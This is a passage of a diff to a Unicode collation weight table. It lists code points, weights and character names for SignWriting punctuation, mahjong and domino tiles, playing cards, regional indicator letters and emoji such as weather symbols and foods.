; [*047E.0020.0002] # SIGNWRITING FULL STOP -1DA89 ; [*047F.0020.0002] # SIGNWRITING SEMICOLON -1DA8A ; [*0480.0020.0002] # SIGNWRITING COLON -1DA8B ; [*0481.0020.0002] # SIGNWRITING PARENTHESIS +1DA85 ; [*19E9.0020.0002] # SIGNWRITING LOCATION TORSO +1DA86 ; [*19EA.0020.0002] # SIGNWRITING LOCATION LIMBS DIGITS +1DA87 ; [*045E.0020.0002] # SIGNWRITING COMMA +1DA88 ; [*045F.0020.0002] # SIGNWRITING FULL STOP +1DA89 ; [*0460.0020.0002] # SIGNWRITING SEMICOLON +1DA8A ; [*0461.0020.0002] # SIGNWRITING COLON +1DA8B ; [*0462.0020.0002] # SIGNWRITING PARENTHESIS 1DA9B ; [.0000.0000.0000] # SIGNWRITING FILL MODIFIER-2 1DA9C ; [.0000.0000.0000] # SIGNWRITING FILL MODIFIER-3 1DA9D ; [.0000.0000.0000] # SIGNWRITING FILL MODIFIER-4 @@ -6065,1692 +5993,1616 @@ FFFC ; [*1A95.0020.0002] # OBJECT REPLACEMENT CHARACTER 1E8D4 ; [.0000.0000.0000] # MENDE KIKAKUI COMBINING NUMBER TEN THOUSANDS 1E8D5 ; [.0000.0000.0000] # MENDE KIKAKUI COMBINING NUMBER HUNDRED THOUSANDS 1E8D6 ; [.0000.0000.0000] # MENDE KIKAKUI COMBINING NUMBER MILLIONS -1E95E ; [*0265.0020.0002] # ADLAM INITIAL EXCLAMATION MARK -1E95F ; [*0274.0020.0002] # ADLAM INITIAL QUESTION MARK -1EEF0 ; [*04FB.0020.0002] # ARABIC MATHEMATICAL OPERATOR MEEM WITH HAH WITH TATWEEL -1EEF1 ; [*04FC.0020.0002] # ARABIC MATHEMATICAL OPERATOR HAH WITH DAL -1F000 ; [*11C7.0020.0002] # MAHJONG TILE EAST WIND -1F001 ; [*11C8.0020.0002] # MAHJONG TILE SOUTH WIND -1F002 ; [*11C9.0020.0002] # MAHJONG TILE WEST WIND -1F003 ; [*11CA.0020.0002] # MAHJONG TILE NORTH WIND -1F004 ; [*11CB.0020.0002] # MAHJONG TILE RED DRAGON -1F005 ; [*11CC.0020.0002] # MAHJONG TILE GREEN DRAGON -1F006 ; [*11CD.0020.0002] # MAHJONG TILE WHITE DRAGON -1F007 ; [*11CE.0020.0002] # MAHJONG TILE ONE OF CHARACTERS -1F008 ; [*11CF.0020.0002] # MAHJONG TILE TWO OF CHARACTERS -1F009 ; [*11D0.0020.0002] # MAHJONG TILE THREE OF CHARACTERS -1F00A ; [*11D1.0020.0002] # MAHJONG TILE FOUR OF CHARACTERS -1F00B ; [*11D2.0020.0002] # MAHJONG TILE FIVE OF CHARACTERS -1F00C ; [*11D3.0020.0002] # MAHJONG TILE SIX OF CHARACTERS -1F00D ; [*11D4.0020.0002] # MAHJONG TILE SEVEN OF CHARACTERS -1F00E ; [*11D5.0020.0002] # MAHJONG TILE EIGHT OF CHARACTERS -1F00F ; [*11D6.0020.0002] # MAHJONG TILE NINE OF CHARACTERS -1F010 ; [*11D7.0020.0002] # MAHJONG TILE ONE OF BAMBOOS -1F011 ; [*11D8.0020.0002] # MAHJONG TILE TWO OF BAMBOOS -1F012 ; [*11D9.0020.0002] # MAHJONG TILE THREE OF BAMBOOS -1F013 ; [*11DA.0020.0002] # MAHJONG TILE FOUR OF BAMBOOS -1F014 ; [*11DB.0020.0002] # MAHJONG TILE FIVE OF BAMBOOS -1F015 ; [*11DC.0020.0002] # MAHJONG TILE SIX OF BAMBOOS -1F016 ; [*11DD.0020.0002] # MAHJONG TILE SEVEN OF BAMBOOS -1F017 ; [*11DE.0020.0002] # MAHJONG TILE EIGHT OF BAMBOOS -1F018 ; [*11DF.0020.0002] # MAHJONG TILE NINE OF BAMBOOS -1F019 ; [*11E0.0020.0002] # MAHJONG TILE ONE OF CIRCLES -1F01A ; [*11E1.0020.0002] # MAHJONG TILE TWO OF CIRCLES -1F01B ; [*11E2.0020.0002] # MAHJONG TILE THREE OF CIRCLES -1F01C ; [*11E3.0020.0002] # MAHJONG TILE FOUR OF CIRCLES -1F01D ; [*11E4.0020.0002] # MAHJONG TILE FIVE OF CIRCLES -1F01E ; [*11E5.0020.0002] # MAHJONG TILE SIX OF CIRCLES -1F01F ; [*11E6.0020.0002] # MAHJONG TILE SEVEN OF CIRCLES -1F020 ; [*11E7.0020.0002] # MAHJONG TILE EIGHT OF CIRCLES -1F021 ; [*11E8.0020.0002] # MAHJONG TILE NINE OF CIRCLES -1F022 ; [*11E9.0020.0002] # MAHJONG TILE PLUM -1F023 ; [*11EA.0020.0002] # MAHJONG TILE ORCHID -1F024 ; [*11EB.0020.0002] # MAHJONG TILE BAMBOO -1F025 ; [*11EC.0020.0002] # MAHJONG TILE CHRYSANTHEMUM -1F026 ; [*11ED.0020.0002] # MAHJONG TILE SPRING -1F027 ; [*11EE.0020.0002] # MAHJONG TILE SUMMER -1F028 ; [*11EF.0020.0002] # MAHJONG TILE AUTUMN -1F029 ; [*11F0.0020.0002] # MAHJONG TILE WINTER -1F02A ; [*11F1.0020.0002] # MAHJONG TILE JOKER -1F02B ; [*11F2.0020.0002] # MAHJONG TILE BACK -1F030 ; [*11F3.0020.0002] # DOMINO TILE HORIZONTAL BACK -1F031 ; [*11F4.0020.0002] # DOMINO TILE HORIZONTAL-00-00 -1F032 ; [*11F5.0020.0002] # DOMINO TILE HORIZONTAL-00-01 -1F033 ; [*11F6.0020.0002] # DOMINO TILE HORIZONTAL-00-02 -1F034 ; [*11F7.0020.0002] # DOMINO TILE HORIZONTAL-00-03 -1F035 ; [*11F8.0020.0002] # DOMINO TILE HORIZONTAL-00-04 -1F036 ; [*11F9.0020.0002] # DOMINO TILE HORIZONTAL-00-05 -1F037 ; [*11FA.0020.0002] # DOMINO TILE HORIZONTAL-00-06 -1F038 ; [*11FB.0020.0002] # DOMINO TILE HORIZONTAL-01-00 -1F039 ; [*11FC.0020.0002] # DOMINO TILE HORIZONTAL-01-01 -1F03A ; [*11FD.0020.0002] # DOMINO TILE HORIZONTAL-01-02 -1F03B ; [*11FE.0020.0002] # DOMINO TILE HORIZONTAL-01-03 -1F03C ; [*11FF.0020.0002] # DOMINO TILE HORIZONTAL-01-04 -1F03D ; [*1200.0020.0002] # DOMINO TILE HORIZONTAL-01-05 -1F03E ; [*1201.0020.0002] # DOMINO TILE HORIZONTAL-01-06 -1F03F ; [*1202.0020.0002] # DOMINO TILE HORIZONTAL-02-00 -1F040 ; [*1203.0020.0002] # DOMINO TILE HORIZONTAL-02-01 -1F041 ; [*1204.0020.0002] # DOMINO TILE HORIZONTAL-02-02 -1F042 ; [*1205.0020.0002] # DOMINO TILE HORIZONTAL-02-03 -1F043 ; [*1206.0020.0002] # DOMINO TILE HORIZONTAL-02-04 -1F044 ; [*1207.0020.0002] # DOMINO TILE HORIZONTAL-02-05 -1F045 ; [*1208.0020.0002] # DOMINO TILE HORIZONTAL-02-06 -1F046 ; [*1209.0020.0002] # DOMINO TILE HORIZONTAL-03-00 -1F047 ; [*120A.0020.0002] # DOMINO TILE HORIZONTAL-03-01 -1F048 ; [*120B.0020.0002] # DOMINO TILE HORIZONTAL-03-02 -1F049 ; [*120C.0020.0002] # DOMINO TILE HORIZONTAL-03-03 -1F04A ; [*120D.0020.0002] # DOMINO TILE HORIZONTAL-03-04 -1F04B ; [*120E.0020.0002] # DOMINO TILE HORIZONTAL-03-05 -1F04C ; [*120F.0020.0002] # DOMINO TILE HORIZONTAL-03-06 -1F04D ; [*1210.0020.0002] # DOMINO TILE HORIZONTAL-04-00 -1F04E ; [*1211.0020.0002] # DOMINO TILE HORIZONTAL-04-01 -1F04F ; [*1212.0020.0002] # DOMINO TILE HORIZONTAL-04-02 -1F050 ; [*1213.0020.0002] # DOMINO TILE HORIZONTAL-04-03 -1F051 ; [*1214.0020.0002] # DOMINO TILE HORIZONTAL-04-04 -1F052 ; [*1215.0020.0002] # DOMINO TILE HORIZONTAL-04-05 -1F053 ; [*1216.0020.0002] # DOMINO TILE HORIZONTAL-04-06 -1F054 ; [*1217.0020.0002] # DOMINO TILE HORIZONTAL-05-00 -1F055 ; [*1218.0020.0002] # DOMINO TILE HORIZONTAL-05-01 -1F056 ; [*1219.0020.0002] # DOMINO TILE HORIZONTAL-05-02 -1F057 ; [*121A.0020.0002] # DOMINO TILE HORIZONTAL-05-03 -1F058 ; [*121B.0020.0002] # DOMINO TILE HORIZONTAL-05-04 -1F059 ; [*121C.0020.0002] # DOMINO TILE HORIZONTAL-05-05 -1F05A ; [*121D.0020.0002] # DOMINO TILE HORIZONTAL-05-06 -1F05B ; [*121E.0020.0002] # DOMINO TILE HORIZONTAL-06-00 -1F05C ; [*121F.0020.0002] # DOMINO TILE HORIZONTAL-06-01 -1F05D ; [*1220.0020.0002] # DOMINO TILE HORIZONTAL-06-02 -1F05E ; [*1221.0020.0002] # DOMINO TILE HORIZONTAL-06-03 -1F05F ; [*1222.0020.0002] # DOMINO TILE HORIZONTAL-06-04 -1F060 ; [*1223.0020.0002] # DOMINO TILE HORIZONTAL-06-05 -1F061 ; [*1224.0020.0002] # DOMINO TILE HORIZONTAL-06-06 -1F062 ; [*1225.0020.0002] # DOMINO TILE VERTICAL BACK -1F063 ; [*1226.0020.0002] # DOMINO TILE VERTICAL-00-00 -1F064 ; [*1227.0020.0002] # DOMINO TILE VERTICAL-00-01 -1F065 ; [*1228.0020.0002] # DOMINO TILE VERTICAL-00-02 -1F066 ; [*1229.0020.0002] # DOMINO TILE VERTICAL-00-03 -1F067 ; [*122A.0020.0002] # DOMINO TILE VERTICAL-00-04 -1F068 ; [*122B.0020.0002] # DOMINO TILE VERTICAL-00-05 -1F069 ; [*122C.0020.0002] # DOMINO TILE VERTICAL-00-06 -1F06A ; [*122D.0020.0002] # DOMINO TILE VERTICAL-01-00 -1F06B ; [*122E.0020.0002] # DOMINO TILE VERTICAL-01-01 -1F06C ; [*122F.0020.0002] # DOMINO TILE VERTICAL-01-02 -1F06D ; [*1230.0020.0002] # DOMINO TILE VERTICAL-01-03 -1F06E ; [*1231.0020.0002] # DOMINO TILE VERTICAL-01-04 -1F06F ; [*1232.0020.0002] # DOMINO TILE VERTICAL-01-05 -1F070 ; [*1233.0020.0002] # DOMINO TILE VERTICAL-01-06 -1F071 ; [*1234.0020.0002] # DOMINO TILE VERTICAL-02-00 -1F072 ; [*1235.0020.0002] # DOMINO TILE VERTICAL-02-01 -1F073 ; [*1236.0020.0002] # DOMINO TILE VERTICAL-02-02 -1F074 ; [*1237.0020.0002] # DOMINO TILE VERTICAL-02-03 -1F075 ; [*1238.0020.0002] # DOMINO TILE VERTICAL-02-04 -1F076 ; [*1239.0020.0002] # DOMINO TILE VERTICAL-02-05 -1F077 ; [*123A.0020.0002] # DOMINO TILE VERTICAL-02-06 -1F078 ; [*123B.0020.0002] # DOMINO TILE VERTICAL-03-00 -1F079 ; [*123C.0020.0002] # DOMINO TILE VERTICAL-03-01 -1F07A ; [*123D.0020.0002] # DOMINO TILE VERTICAL-03-02 -1F07B ; [*123E.0020.0002] # DOMINO TILE VERTICAL-03-03 -1F07C ; [*123F.0020.0002] # DOMINO TILE VERTICAL-03-04 -1F07D ; [*1240.0020.0002] # DOMINO TILE VERTICAL-03-05 -1F07E ; [*1241.0020.0002] # DOMINO TILE VERTICAL-03-06 -1F07F ; [*1242.0020.0002] # DOMINO TILE VERTICAL-04-00 -1F080 ; [*1243.0020.0002] # DOMINO TILE VERTICAL-04-01 -1F081 ; [*1244.0020.0002] # DOMINO TILE VERTICAL-04-02 -1F082 ; [*1245.0020.0002] # DOMINO TILE VERTICAL-04-03 -1F083 ; [*1246.0020.0002] # DOMINO TILE VERTICAL-04-04 -1F084 ; [*1247.0020.0002] # DOMINO TILE VERTICAL-04-05 -1F085 ; [*1248.0020.0002] # DOMINO TILE VERTICAL-04-06 -1F086 ; [*1249.0020.0002] # DOMINO TILE VERTICAL-05-00 -1F087 ; [*124A.0020.0002] # DOMINO TILE VERTICAL-05-01 -1F088 ; [*124B.0020.0002] # DOMINO TILE VERTICAL-05-02 -1F089 ; [*124C.0020.0002] # DOMINO TILE VERTICAL-05-03 -1F08A ; [*124D.0020.0002] # DOMINO TILE VERTICAL-05-04 -1F08B ; [*124E.0020.0002] # DOMINO TILE VERTICAL-05-05 -1F08C ; [*124F.0020.0002] # DOMINO TILE VERTICAL-05-06 -1F08D ; [*1250.0020.0002] # DOMINO TILE VERTICAL-06-00 -1F08E ; [*1251.0020.0002] # DOMINO TILE VERTICAL-06-01 -1F08F ; [*1252.0020.0002] # DOMINO TILE VERTICAL-06-02 -1F090 ; [*1253.0020.0002] # DOMINO TILE VERTICAL-06-03 -1F091 ; [*1254.0020.0002] # DOMINO TILE VERTICAL-06-04 -1F092 ; [*1255.0020.0002] # DOMINO TILE VERTICAL-06-05 -1F093 ; [*1256.0020.0002] # DOMINO TILE VERTICAL-06-06 -1F0A0 ; [*1257.0020.0002] # PLAYING CARD BACK -1F0A1 ; [*1258.0020.0002] # PLAYING CARD ACE OF SPADES -1F0A2 ; [*1259.0020.0002] # PLAYING CARD TWO OF SPADES -1F0A3 ; [*125A.0020.0002] # PLAYING CARD THREE OF SPADES -1F0A4 ; [*125B.0020.0002] # PLAYING CARD FOUR OF SPADES -1F0A5 ; [*125C.0020.0002] # PLAYING CARD FIVE OF SPADES -1F0A6 ; [*125D.0020.0002] # PLAYING CARD SIX OF SPADES -1F0A7 ; [*125E.0020.0002] # PLAYING CARD SEVEN OF SPADES -1F0A8 ; [*125F.0020.0002] # PLAYING CARD EIGHT OF SPADES -1F0A9 ; [*1260.0020.0002] # PLAYING CARD NINE OF SPADES -1F0AA ; [*1261.0020.0002] # PLAYING CARD TEN OF SPADES -1F0AB ; [*1262.0020.0002] # PLAYING CARD JACK OF SPADES -1F0AC ; [*1263.0020.0002] # PLAYING CARD KNIGHT OF SPADES -1F0AD ; [*1264.0020.0002] # PLAYING CARD QUEEN OF SPADES -1F0AE ; [*1265.0020.0002] # PLAYING CARD KING OF SPADES -1F0B1 ; [*1266.0020.0002] # PLAYING CARD ACE OF HEARTS -1F0B2 ; [*1267.0020.0002] # PLAYING CARD TWO OF HEARTS -1F0B3 ; [*1268.0020.0002] # PLAYING CARD THREE OF HEARTS -1F0B4 ; [*1269.0020.0002] # PLAYING CARD FOUR OF HEARTS -1F0B5 ; [*126A.0020.0002] # PLAYING CARD FIVE OF HEARTS -1F0B6 ; [*126B.0020.0002] # PLAYING CARD SIX OF HEARTS -1F0B7 ; [*126C.0020.0002] # PLAYING CARD SEVEN OF HEARTS -1F0B8 ; [*126D.0020.0002] # PLAYING CARD EIGHT OF HEARTS -1F0B9 ; [*126E.0020.0002] # PLAYING CARD NINE OF HEARTS -1F0BA ; [*126F.0020.0002] # PLAYING CARD TEN OF HEARTS -1F0BB ; [*1270.0020.0002] # PLAYING CARD JACK OF HEARTS -1F0BC ; [*1271.0020.0002] # PLAYING CARD KNIGHT OF HEARTS -1F0BD ; [*1272.0020.0002] # PLAYING CARD QUEEN OF HEARTS -1F0BE ; [*1273.0020.0002] # PLAYING CARD KING OF HEARTS -1F0BF ; [*1274.0020.0002] # PLAYING CARD RED JOKER -1F0C1 ; [*1275.0020.0002] # PLAYING CARD ACE OF DIAMONDS -1F0C2 ; [*1276.0020.0002] # PLAYING CARD TWO OF DIAMONDS -1F0C3 ; [*1277.0020.0002] # PLAYING CARD THREE OF DIAMONDS -1F0C4 ; [*1278.0020.0002] # PLAYING CARD FOUR OF DIAMONDS -1F0C5 ; [*1279.0020.0002] # PLAYING CARD FIVE OF DIAMONDS -1F0C6 ; [*127A.0020.0002] # PLAYING CARD SIX OF DIAMONDS -1F0C7 ; [*127B.0020.0002] # PLAYING CARD SEVEN OF DIAMONDS -1F0C8 ; [*127C.0020.0002] # PLAYING CARD EIGHT OF DIAMONDS -1F0C9 ; [*127D.0020.0002] # PLAYING CARD NINE OF DIAMONDS -1F0CA ; [*127E.0020.0002] # PLAYING CARD TEN OF DIAMONDS -1F0CB ; [*127F.0020.0002] # PLAYING CARD JACK OF DIAMONDS -1F0CC ; [*1280.0020.0002] # PLAYING CARD KNIGHT OF DIAMONDS -1F0CD ; [*1281.0020.0002] # PLAYING CARD QUEEN OF DIAMONDS -1F0CE ; [*1282.0020.0002] # PLAYING CARD KING OF DIAMONDS -1F0CF ; [*1283.0020.0002] # PLAYING CARD BLACK JOKER -1F0D1 ; [*1284.0020.0002] # PLAYING CARD ACE OF CLUBS -1F0D2 ; [*1285.0020.0002] # PLAYING CARD TWO OF CLUBS -1F0D3 ; [*1286.0020.0002] # PLAYING CARD THREE OF CLUBS -1F0D4 ; [*1287.0020.0002] # PLAYING CARD FOUR OF CLUBS -1F0D5 ; [*1288.0020.0002] # PLAYING CARD FIVE OF CLUBS -1F0D6 ; [*1289.0020.0002] # PLAYING CARD SIX OF CLUBS -1F0D7 ; [*128A.0020.0002] # PLAYING CARD SEVEN OF CLUBS -1F0D8 ; [*128B.0020.0002] # PLAYING CARD EIGHT OF CLUBS -1F0D9 ; [*128C.0020.0002] # PLAYING CARD NINE OF CLUBS -1F0DA ; [*128D.0020.0002] # PLAYING CARD TEN OF CLUBS -1F0DB ; [*128E.0020.0002] # PLAYING CARD JACK OF CLUBS -1F0DC ; [*128F.0020.0002] # PLAYING CARD KNIGHT OF CLUBS -1F0DD ; [*1290.0020.0002] # PLAYING CARD QUEEN OF CLUBS -1F0DE ; [*1291.0020.0002] # PLAYING CARD KING OF CLUBS -1F0DF ; [*1292.0020.0002] # PLAYING CARD WHITE JOKER -1F0E0 ; [*1293.0020.0002] # PLAYING CARD FOOL -1F0E1 ; [*1294.0020.0002] # PLAYING CARD TRUMP-1 -1F0E2 ; [*1295.0020.0002] # PLAYING CARD TRUMP-2 -1F0E3 ; [*1296.0020.0002] # PLAYING CARD TRUMP-3 -1F0E4 ; [*1297.0020.0002] # PLAYING CARD TRUMP-4 -1F0E5 ; [*1298.0020.0002] # PLAYING CARD TRUMP-5 -1F0E6 ; [*1299.0020.0002] # PLAYING CARD TRUMP-6 -1F0E7 ; [*129A.0020.0002] # PLAYING CARD TRUMP-7 -1F0E8 ; [*129B.0020.0002] # PLAYING CARD TRUMP-8 -1F0E9 ; [*129C.0020.0002] # PLAYING CARD TRUMP-9 -1F0EA ; [*129D.0020.0002] # PLAYING CARD TRUMP-10 -1F0EB ; [*129E.0020.0002] # PLAYING CARD TRUMP-11 -1F0EC ; [*129F.0020.0002] # PLAYING CARD TRUMP-12 -1F0ED ; [*12A0.0020.0002] # PLAYING CARD TRUMP-13 -1F0EE ; [*12A1.0020.0002] # PLAYING CARD TRUMP-14 -1F0EF ; [*12A2.0020.0002] # PLAYING CARD TRUMP-15 -1F0F0 ; [*12A3.0020.0002] # PLAYING CARD TRUMP-16 -1F0F1 ; [*12A4.0020.0002] # PLAYING CARD TRUMP-17 -1F0F2 ; [*12A5.0020.0002] # PLAYING CARD TRUMP-18 -1F0F3 ; [*12A6.0020.0002] # PLAYING CARD TRUMP-19 -1F0F4 ; [*12A7.0020.0002] # PLAYING CARD TRUMP-20 -1F0F5 ; [*12A8.0020.0002] # PLAYING CARD TRUMP-21 -1F1E6 ; [*0A07.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER A -1F1E7 ; [*0A08.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER B -1F1E8 ; [*0A09.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER C -1F1E9 ; [*0A0A.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER D -1F1EA ; [*0A0B.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER E -1F1EB ; [*0A0C.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER F -1F1EC ; [*0A0D.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER G -1F1ED ; [*0A0E.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER H -1F1EE ; [*0A0F.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER I -1F1EF ; [*0A10.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER J -1F1F0 ; [*0A11.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER K -1F1F1 ; [*0A12.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER L -1F1F2 ; [*0A13.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER M -1F1F3 ; [*0A14.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER N -1F1F4 ; [*0A15.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER O -1F1F5 ; [*0A16.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER P -1F1F6 ; [*0A17.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Q -1F1F7 ; [*0A18.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER R -1F1F8 ; [*0A19.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER S -1F1F9 ; [*0A1A.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER T -1F1FA ; [*0A1B.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER U -1F1FB ; [*0A1C.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER V -1F1FC ; [*0A1D.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER W -1F1FD ; [*0A1E.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER X -1F1FE ; [*0A1F.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Y -1F1FF ; [*0A20.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Z -1F300 ; [*12A9.0020.0002] # CYCLONE -1F301 ; [*12AA.0020.0002] # FOGGY -1F302 ; [*12AB.0020.0002] # CLOSED UMBRELLA -1F303 ; [*12AC.0020.0002] # NIGHT WITH STARS -1F304 ; [*12AD.0020.0002] # SUNRISE OVER MOUNTAINS -1F305 ; [*12AE.0020.0002] # SUNRISE -1F306 ; [*12AF.0020.0002] # CITYSCAPE AT DUSK -1F307 ; [*12B0.0020.0002] # SUNSET OVER BUILDINGS -1F308 ; [*12B1.0020.0002] # RAINBOW -1F309 ; [*12B2.0020.0002] # BRIDGE AT NIGHT -1F30A ; [*12B3.0020.0002] # WATER WAVE -1F30B ; [*12B4.0020.0002] # VOLCANO -1F30C ; [*12B5.0020.0002] # MILKY WAY -1F30D ; [*12B6.0020.0002] # EARTH GLOBE EUROPE-AFRICA -1F30E ; [*12B7.0020.0002] # EARTH GLOBE AMERICAS -1F30F ; [*12B8.0020.0002] # EARTH GLOBE ASIA-AUSTRALIA -1F310 ; [*12B9.0020.0002] # GLOBE WITH MERIDIANS -1F311 ; [*12BA.0020.0002] # NEW MOON SYMBOL -1F312 ; [*12BB.0020.0002] # WAXING CRESCENT MOON SYMBOL -1F313 ; [*12BC.0020.0002] # FIRST QUARTER MOON SYMBOL -1F314 ; [*12BD.0020.0002] # WAXING GIBBOUS MOON SYMBOL -1F315 ; [*12BE.0020.0002] # FULL MOON SYMBOL -1F316 ; [*12BF.0020.0002] # WANING GIBBOUS MOON SYMBOL -1F317 ; [*12C0.0020.0002] # LAST QUARTER MOON SYMBOL -1F318 ; [*12C1.0020.0002] # WANING CRESCENT MOON SYMBOL -1F319 ; [*12C2.0020.0002] # CRESCENT MOON -1F31A ; [*12C3.0020.0002] # NEW MOON WITH FACE -1F31B ; [*12C4.0020.0002] # FIRST QUARTER MOON WITH FACE -1F31C ; [*12C5.0020.0002] # LAST QUARTER MOON WITH FACE -1F31D ; [*12C6.0020.0002] # FULL MOON WITH FACE -1F31E ; [*12C7.0020.0002] # SUN WITH FACE -1F31F ; [*12C8.0020.0002] # GLOWING STAR -1F320 ; [*12C9.0020.0002] # SHOOTING STAR -1F321 ; [*12CA.0020.0002] # THERMOMETER -1F322 ; [*12CB.0020.0002] # BLACK DROPLET -1F323 ; [*12CC.0020.0002] # WHITE SUN -1F324 ; [*12CD.0020.0002] # WHITE SUN WITH SMALL CLOUD -1F325 ; [*12CE.0020.0002] # WHITE SUN BEHIND CLOUD -1F326 ; [*12CF.0020.0002] # WHITE SUN BEHIND CLOUD WITH RAIN -1F327 ; [*12D0.0020.0002] # CLOUD WITH RAIN -1F328 ; [*12D1.0020.0002] # CLOUD WITH SNOW -1F329 ; [*12D2.0020.0002] # CLOUD WITH LIGHTNING -1F32A ; [*12D3.0020.0002] # CLOUD WITH TORNADO -1F32B ; [*12D4.0020.0002] # FOG -1F32C ; [*12D5.0020.0002] # WIND BLOWING FACE -1F32D ; [*12D6.0020.0002] # HOT DOG -1F32E ; [*12D7.0020.0002] # TACO -1F32F ; [*12D8.0020.0002] # BURRITO -1F330 ; [*12D9.0020.0002] # CHESTNUT -1F331 ; [*12DA.0020.0002] # SEEDLING -1F332 ; [*12DB.0020.0002] # EVERGREEN TREE -1F333 ; [*12DC.0020.0002] # DECIDUOUS TREE -1F334 ; [*12DD.0020.0002] # PALM TREE -1F335 ; [*12DE.0020.0002] # CACTUS -1F336 ; [*12DF.0020.0002] # HOT PEPPER -1F337 ; [*12E0.0020.0002] # TULIP -1F338 ; [*12E1.0020.0002] # CHERRY BLOSSOM -1F339 ; [*12E2.0020.0002] # ROSE -1F33A ; [*12E3.0020.0002] # HIBISCUS -1F33B ; [*12E4.0020.0002] # SUNFLOWER -1F33C ; [*12E5.0020.0002] # BLOSSOM -1F33D ; [*12E6.0020.0002] # EAR OF MAIZE -1F33E ; [*12E7.0020.0002] # EAR OF RICE -1F33F ; [*12E8.0020.0002] # HERB -1F340 ; [*12E9.0020.0002] # FOUR LEAF CLOVER -1F341 ; [*12EA.0020.0002] # MAPLE LEAF -1F342 ; [*12EB.0020.0002] # FALLEN LEAF -1F343 ; [*12EC.0020.0002] # LEAF FLUTTERING IN WIND -1F344 ; [*12ED.0020.0002] # MUSHROOM -1F345 ; [*12EE.0020.0002] # TOMATO -1F346 ; [*12EF.0020.0002] # AUBERGINE -1F347 ; [*12F0.0020.0002] # GRAPES -1F348 ; [*12F1.0020.0002] # MELON -1F349 ; [*12F2.0020.0002] # WATERMELON -1F34A ; [*12F3.0020.0002] # TANGERINE -1F34B ; [*12F4.0020.0002] # LEMON -1F34C ; [*12F5.0020.0002] # BANANA -1F34D ; [*12F6.0020.0002] # PINEAPPLE -1F34E ; [*12F7.0020.0002] # RED APPLE -1F34F ; [*12F8.0020.0002] # GREEN APPLE -1F350 ; [*12F9.0020.0002] # PEAR -1F351 ; [*12FA.0020.0002] # PEACH -1F352 ; [*12FB.0020.0002] # CHERRIES -1F353 ; [*12FC.0020.0002] # STRAWBERRY -1F354 ; [*12FD.0020.0002] # HAMBURGER -1F355 ; [*12FE.0020.0002] # SLICE OF PIZZA -1F356 ; [*12FF.0020.0002] # MEAT ON BONE -1F357 ; [*1300.0020.0002] # POULTRY LEG -1F358 ; [*1301.0020.0002] # RICE CRACKER -1F359 ; [*1302.0020.0002] # RICE BALL -1F35A ; [*1303.0020.0002] # COOKED RICE -1F35B ; [*1304.0020.0002] # CURRY AND RICE -1F35C ; [*1305.0020.0002] # STEAMING BOWL -1F35D ; [*1306.0020.0002] # SPAGHETTI -1F35E ; [*1307.0020.0002] # BREAD -1F35F ; [*1308.0020.0002] # FRENCH FRIES -1F360 ; [*1309.0020.0002] # ROASTED SWEET POTATO -1F361 ; [*130A.0020.0002] # DANGO -1F362 ; [*130B.0020.0002] # ODEN -1F363 ; [*130C.0020.0002] # SUSHI -1F364 ; [*130D.0020.0002] # FRIED SHRIMP -1F365 ; [*130E.0020.0002] # FISH CAKE WITH SWIRL DESIGN -1F366 ; [*130F.0020.0002] # SOFT ICE CREAM -1F367 ; [*1310.0020.0002] # SHAVED ICE -1F368 ; [*1311.0020.0002] # ICE CREAM -1F369 ; [*1312.0020.0002] # DOUGHNUT -1F36A ; [*1313.0020.0002] # COOKIE -1F36B ; [*1314.0020.0002] # CHOCOLATE BAR -1F36C ; [*1315.0020.0002] # CANDY -1F36D ; [*1316.0020.0002] # LOLLIPOP -1F36E ; [*1317.0020.0002] # CUSTARD -1F36F ; [*1318.0020.0002] # HONEY POT -1F370 ; [*1319.0020.0002] # SHORTCAKE -1F371 ; [*131A.0020.0002] # BENTO BOX -1F372 ; [*131B.0020.0002] # POT OF FOOD -1F373 ; [*131C.0020.0002] # COOKING -1F374 ; [*131D.0020.0002] # FORK AND KNIFE -1F375 ; [*131E.0020.0002] # TEACUP WITHOUT HANDLE -1F376 ; [*131F.0020.0002] # SAKE BOTTLE AND CUP -1F377 ; [*1320.0020.0002] # WINE GLASS -1F378 ; [*1321.0020.0002] # COCKTAIL GLASS -1F379 ; [*1322.0020.0002] # TROPICAL DRINK -1F37A ; [*1323.0020.0002] # BEER MUG -1F37B ; [*1324.0020.0002] # CLINKING BEER MUGS -1F37C ; [*1325.0020.0002] # BABY BOTTLE -1F37D ; [*1326.0020.0002] # FORK AND KNIFE WITH PLATE -1F37E ; [*1327.0020.0002] # BOTTLE WITH POPPING CORK -1F37F ; [*1328.0020.0002] # POPCORN -1F380 ; [*1329.0020.0002] # RIBBON -1F381 ; [*132A.0020.0002] # WRAPPED PRESENT -1F382 ; [*132B.0020.0002] # BIRTHDAY CAKE -1F383 ; [*132C.0020.0002] # JACK-O-LANTERN -1F384 ; [*132D.0020.0002] # CHRISTMAS TREE -1F385 ; [*132E.0020.0002] # FATHER CHRISTMAS -1F386 ; [*132F.0020.0002] # FIREWORKS -1F387 ; [*1330.0020.0002] # FIREWORK SPARKLER -1F388 ; [*1331.0020.0002] # BALLOON -1F389 ; [*1332.0020.0002] # PARTY POPPER -1F38A ; [*1333.0020.0002] # CONFETTI BALL -1F38B ; [*1334.0020.0002] # TANABATA TREE -1F38C ; [*1335.0020.0002] # CROSSED FLAGS -1F38D ; [*1336.0020.0002] # 